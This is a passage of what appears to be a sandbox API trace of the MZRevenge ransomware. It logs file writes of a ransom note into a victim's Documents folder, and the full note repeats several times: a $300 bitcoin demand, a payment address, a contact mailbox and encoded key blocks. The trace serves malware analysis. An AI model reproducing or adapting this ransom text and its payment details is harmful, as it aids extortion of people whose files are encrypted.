}=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.757] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.759] CloseHandle (hObject=0x32c) returned 1 [0217.759] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 1 [0217.759] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0217.759] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 1 [0217.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\documents\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMO